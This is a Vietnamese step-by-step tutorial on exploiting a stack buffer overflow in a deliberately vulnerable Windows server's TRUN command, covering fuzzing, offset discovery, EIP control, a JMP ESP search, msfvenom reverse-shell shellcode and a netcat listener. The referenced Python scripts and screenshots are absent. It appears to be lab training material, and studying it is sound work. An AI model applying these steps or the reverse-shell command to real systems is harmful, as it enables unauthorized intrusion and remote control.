Khai thác lỗ hổng tràn bộ đệm Buffer Overflow trên Windows
- Spiking: Đưa vào chương trình một số input để kiểm tra xem chương trình có bị tắt hoặc hoạt động không đúng như mong đợi không. Mục đích là tìm ra các lỗ hổng tiềm năng.
- Fuzzing: Đưa vào chương trình các input ngẫu nhiên hoặc bán ngẫu nhiên để xác định input nào gây ra lỗi hoặc làm chương trình hoạt động không đúng. Mục đích là tìm ra input cụ thể để khai thác lỗ hổng tràn bộ đệm.
- Xác định offset: Tìm ra số byte cần để ghi đè lên biến mục tiêu. Điều này bao gồm gửi một chuỗi ký tự đặc biệt đến chương trình để tìm ra chiều dài chuỗi ký tự gây ra lỗi, từ đó xác định được số byte cần để tràn bộ đệm.
- Ghi đè thanh ghi EIP: Thay đổi giá trị của thanh ghi EIP để chương trình thực thi mã độc.
- Xác định ký tự không hợp lệ: Tìm ra các ký tự có thể làm gián đoạn quá trình thực thi mã độc.
- Xác định module: Đảm bảo module đúng được tải vào bộ nhớ để mã độc thực thi đúng.
- Tạo shellcode: Tạo ra mã độc thực tế sẽ được thực thi sau khi khai thác thành công.
- Gain root access: Sử dụng mã độc để truy cập từ xa vào hệ thống hoặc nâng cao đặc quyền truy cập để đạt được quyền truy cập cao hơn.
Bước 1: Thiết lập kết nối bằng Netcat
, ta có thể sử dụng lệnh Netcat như sau:
nc -nv <Target IP> <Target Port>
Bước 2: Tạo các spike template và thực hiện spiking
Các mẫu spike templates định nghĩa định dạng gói tin được sử dụng để giao tiếp với server. Sử dụng mẫu spike sau để thực hiện spiking trên chức năng STATS:
Gửi các gói tin đến máy đích bằng cách sử dụng lệnh sau:
generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTR
Như hình bên dưới:
Vì chúng ta đã xác định được rằng chức năng STATS không dễ bị tấn công bởi lỗi tràn bộ đệm, vì vậy chúng ta sẽ lặp lại quá trình tương tự với chức năng TRUN. Sử dụng mẫu spike sau để thực hiện spiking trên chức năng TRUN:
Bây giờ, gửi các gói tin đến máy đích bằng cách sử dụng lệnh sau:
generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTR
Chúng ta có thể thấy rằng chức năng TRUN trên server có một lỗ hổng tràn bộ đệm. Khi thực hiện spiking trên chức năng này, các thanh ghi trên ngăn xếp như EAX, ESP, EBP và EIP có thể bị ghi đè. Nếu hacker có thể ghi đè thanh ghi EIP, họ có thể chiếm quyền truy cập vào hệ thống.
Bước 3: Perform Fuzzing
Sau khi xác định được lỗ hổng tràn bộ đệm buffer overflow trên Windows, ta cần thực hiện fuzzing để gửi một lượng lớn dữ liệu đến máy đích để gây ra lỗi tràn bộ đệm và ghi đè thanh ghi EIP. Fuzzing giúp xác định số byte cần thiết để làm cho máy đích bị sập. Thông tin này giúp xác định vị trí chính xác của thanh ghi EIP, từ đó giúp inject mã độc shellcode vào máy đích.
Khi chạy đoạn code trên, biến buff sẽ được nhân lên mỗi lần lặp trong vòng lặp while và gửi dữ liệu buff đến máy đích. Như hình bên dưới, máy đích sập sau khi nhận khoảng 2300 bytes dữ liệu, nhưng nó không ghi đè lên thanh ghi EIP.
Bước 4: Identify the Offset
Thông qua quá trình fuzzing, chúng ta đã hiểu được rằng chúng ta có thể ghi đè lên thanh ghi EIP bằng từ 1 đến 2300 byte dữ liệu. Bây giờ, chúng ta sẽ sử dụng công cụ pattern_create trong Ruby để tạo ra các byte dữ liệu ngẫu nhiên như sau:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -1 3000
Sau đó, ta chạy đoạn mã Python sau để gửi:
Khi đoạn code trên được thực thi, các byte dữ liệu ngẫu nhiên sẽ được gửi đến máy đích và gây ra lỗi tràn bộ đệm trên ngăn xếp. Ta cần ghi lại các byte dữ liệu ngẫu nhiên trong EIP và tìm vị trí của các byte đó trên ngăn xếp để tiếp tục thực hiện các bước tấn công tiếp theo.
Chạy lệnh sau để tìm vị trí chính xác của các byte dữ liệu ngẫu nhiên trong thanh ghi EIP:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -1 3000 -q 386F4337
Bước 5: Ghi đè thanh ghi EIP
Ta đã xác định được rằng thanh ghi EIP nằm ở một vị trí lệch đi 2003 byte. Bây giờ, chạy đoạn code Python sau để kiểm tra xem có thể kiểm soát thanh ghi EIP hay không.
Kết quả cho thấy EIP có thể ghi đè:
Bước 6: Identify Bad Character
Trước khi inject shellcode vào thanh ghi EIP, ta cần xác định các ký tự không hợp lệ có thể gây ra vấn đề trong shellcode. Các ký tự như ký tự ‘no byte‘, tức là “\x00“, là các ký tự không hợp lệ.
Tiếp theo, chạy đoạn code:
Trong Immunity Debugger, nhấp chuột phải vào giá trị thanh ghi ESP, sau đó nhấp vào “Follow in Dump“, và cuối cùng quan sát các ký tự. Ta sẽ thấy rằng không có ký tự không hợp lệ nào gây ra vấn đề trong shellcode.
Bước 7: Identify the Right Module
Trong bước này, chúng ta cần xác định module nào trên máy đích đang thiếu memory protection. Ta có thể sử dụng một công cụ gọi là mona.py. Ta download về và sao chép vào thư mục PyCommands trong thư mục của Immunity Debugger. Sau đó, ta chạy máy có lỗ hổng và Immunity Debugger với quyền quản trị, và kết nối máy đó với Immunity Debugger. Tiếp theo, trong Immunity Debugger,nhập lệnh “!mona modules” vào thanh địa chỉ dưới cùng của cửa sổ.
Chúng ta thấy rằng module essfunc.dll thiếu bảo vệ bộ nhớ. Hacker có thể lợi dụng những module như vậy để chèn shellcode và chiếm quyền điều khiển thanh ghi EIP. Để tiếp tục tấn công, ta cần chuyển đổi ngôn ngữ assembly (JMP ESP) thành mã hex bằng cách chạy một đoạn mã Ruby nasm_shell.
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
Kết quả như sau:
Tiếp theo, trong Immunity Debugger, nhập lệnh sau vào thanh địa chỉ ở dưới cùng để xác định địa chỉ trả về của module có lỗ hổng:
!mona find -s "\xff\xe4" -m essfunc.dll
Bây giờ, để inject địa chỉ trả về đã xác định vào thanh ghi EIP, ta cần chạy đoạn mã sau. Ví dụ, nếu địa chỉ trả về là “625011af
“, thì bạn phải gửi “\xaf \x11\x50\x62
“, vì kiến trúc x86 lưu trữ các giá trị theo định dạng Little Endian.
Ta sẽ nhận thấy rằng thanh ghi EIP đã bị ghi đè bằng địa chỉ trả về của module có lỗ hổng:
Hacker có thể kiểm soát thanh ghi EIP nếu máy mục tiêu có các module không có các thiết lập bảo vệ bộ nhớ thích hợp.
Bước 8: Generate Shellcode and Gain Shell Access
Bây giờ, ta chạy lệnh msfvenom để tạo shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP address> LPORT=<port> EXITFUNC=thread -f c -a x86 -b "\x00"
Kết quả như sau:
Bây giờ, chúng ta cần chạy đoạn mã Python sau:
Trước khi chạy đoạn code trên, ta cần chạy lệnh Netcat sau để listen trên port 4444:
nc -nvlp 4444
Sau đó:
Vậy là ta đã khai thác buffer overflow trên Windows.